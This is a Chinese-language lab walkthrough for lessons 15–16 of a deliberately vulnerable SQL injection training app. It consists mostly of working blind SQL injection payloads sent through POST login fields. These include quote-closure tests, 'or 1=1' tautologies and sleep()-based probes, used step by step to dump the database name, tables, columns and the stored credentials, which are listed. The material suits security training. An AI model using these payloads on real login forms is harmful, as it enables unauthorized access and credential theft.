Less-15
基于布尔型/时间延迟单引号POST型盲注
?id=1 uname=1&passwd=1 uname=1&passwd=1
?id=1' uname=1&passwd=1' =====同理==》uname=1'&passwd=1 (注: & 就相当于 and)
?id=1" uname=1&passwd=1" uname=1"&passwd=1
?id=1 and sleep(5)-- # uname=1&passwd=1 and sleep(5)-- # 同理: uname=1 and sleep(5)-- #&passwd=1
?id=1' and sleep(5)-- # uname=1&passwd=1' and sleep(5)-- # 同理: uname=1' and sleep(5)-- #&passwd=1
?id=1" and sleep(5)-- # uname=1&passwd=1" and sleep(5)-- # 同理: uname=1" and sleep(5)-- #&passwd=1
1 or 1=1 -- # 1) or 1=1-- # 1)) or 1=1-- #
1' or 1=1 -- # 1') or 1=1-- # 1') or 1=1-- #
1" or 1=1 -- # 1") or 1=1-- # 1") or 1=1-- # 。。。。
或这样写:uname=1&passwd=1' or 1=1-- #
猜数据库第一位:(利用二分法):(特别提醒这里的逻辑运算符要用 or)
uname=1' or left(database(),1)>'a' -- #&passwd=1 返回正确
uname=1' or left(database(),1)>'s' -- #&passwd=1 返回错误
uname=1' or left(database(),1)='s' -- #&passwd=1 返回正确
uname=1' or if(1,1,sleep(3)) -- #&passwd=1 ------->这样的语句变成了uname=1' or 1=1 -- #&passwd=1 相当于万能语句
' or if(1,1,sleep(5)) -- #
" or if(1,1, sleep(5)) -- #
) or if(1,1, sleep(5)) -- #
') or if(1,1, sleep(5)) -- #
") or if(1,1, sleep(5)) -- #
...........
(PS:如果不能闭合,select语句会直接报错)
注:
POST型延时注入比GET型延时注入还要慢,所以利用if()函数--》 正确的时候直接返回,不正确的时候等待 5 秒钟 这样的形式能加快一点点速度,且不能使用 if(1,sleep(5),1) 原因在于uname=1' or if(1,sleep(5),1) 的时候 uname=1本身是false,而
if(查询语句,sleep(5),1)
中查询语句为true执行sleep(5)那么语句就变成了uname=1' or sleep(5)-- # 这样的语句一看就是false,所以不能这么写。
uname=1' or if(length(database())=x,1,sleep(5))-- #&passwd=1
x从4开始增加,增加到8有明显的延迟,说明数据库的长度是8;
uname=1' or if(length(database())=8,1,sleep(5))-- #&passwd=1
uname=1&passwd=1' or if(length(database())=8,1,sleep(5))-- #
uname=1&passwd=1' or If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #
uname=1&passwd=1' or If(ascii(substr(database(),2,1))=101,1,sleep(5))-- #
... ...
以此类推,我们知道了数据库名字是 security
uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))-- #
uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,1,sleep(5))-- #
....
猜测第一个数据表的第一位是 e,...依次类推,得到 emailsuname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))-- #
uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,1,sleep(5))-- #
.......
猜测第二个数据表的第一位是 r,...依次类推,得到 referers
......
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
示图:(展示一个)
uname=1&passwd=1' or If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))-- #
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password(and table_schema=database()这条语句不能少是因为要排除其他数据库可能也会有users表)
uname=1&passwd=1' or If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))-- #
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容:(13个账户与密码)Dumb:Dumb Angelinal:I-kill-you Dummy:p@ssword secure:crappy stupid:stupidiry superman:genious
batman:mob!le admin:admin admin1:admin1 admin2:admin2 admin3:admin3 dhakkan:dumbo admin4:admin4
GET
Less | 注入方法 | 正确回显 | 错误回显 |
---|---|---|---|
1 | 基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
5 | 双注入 | 固定字符串 | Mysql错误信息 |
7 | 导出文件注入 | 固定字符串 | 另一固定字符串 |
8 | Bool型盲注 | 固定字符串 | 无 |
9 | Time型盲注 | 固定字符串 | 同一固定字符串 |
POST
Less | 注入方法 | 成功回显 | 失败回显 | 错误回显 |
---|---|---|---|---|
11 | 基于错误注入 | 用户名和密码 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
13 | 双注入 | 无 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
15 | Bool/Time型盲注 | 无 (flag.jpg) | 无 (slap.jpg) | 无 (slap.jpg) |
注意:GET和POST差别在于,GET只需要提交参数id
,而POST则需要username
与password
都正确。
不像GET中若出现错误回显必是Mysql语法错误(提交时使id
存在),POST若不返回Mysql错误信息,光凭一个登录失败
是分不清是用户名和密码不正确还是出现了Mysql语法错误。
所以我们就需要在POST时构造永真条件使返回忽略用户名和密码不正确这种情况。若将查询语句闭合则会显示登陆成功
,则可以依次增加小括号个数分析查询语句:
uname=1&passwd=1 or 1=1--+
uname=1&passwd=1' or 1=1--+
uname=1&passwd=1" or 1=1--+
uname=1&passwd=1') or 1=1--+
uname=1&passwd=1") or 1=1--+
Less-16
基于bool型/时间延迟的双引号POST型盲注
1") or 1=1 -- #
猜数据库长度: uname=1&passwd=1") or if(length(database())=8,1,sleep(5))-- #